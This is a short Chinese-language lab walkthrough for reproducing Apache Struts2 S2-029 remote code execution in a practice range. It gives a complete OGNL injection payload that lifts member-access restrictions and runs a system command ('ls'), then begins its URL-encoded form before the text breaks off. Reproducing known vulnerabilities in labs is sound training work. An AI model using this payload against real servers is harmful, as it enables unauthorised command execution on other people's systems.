Apache Struts2远程代码执行漏洞(S2-029)复现
难易程度:★★
题目类型:命令执行
使用工具:FireFox浏览器、burpsuite
漏洞原理:由于在标记属性中对原始用户输入进行评估时,强制双OGNL评估导致远程代码执行。
1.打开靶场,了解一下S2-029漏洞的原理。
2.构造POC,执行命令ls查看文件。
(#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()))
转为url编码:
%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6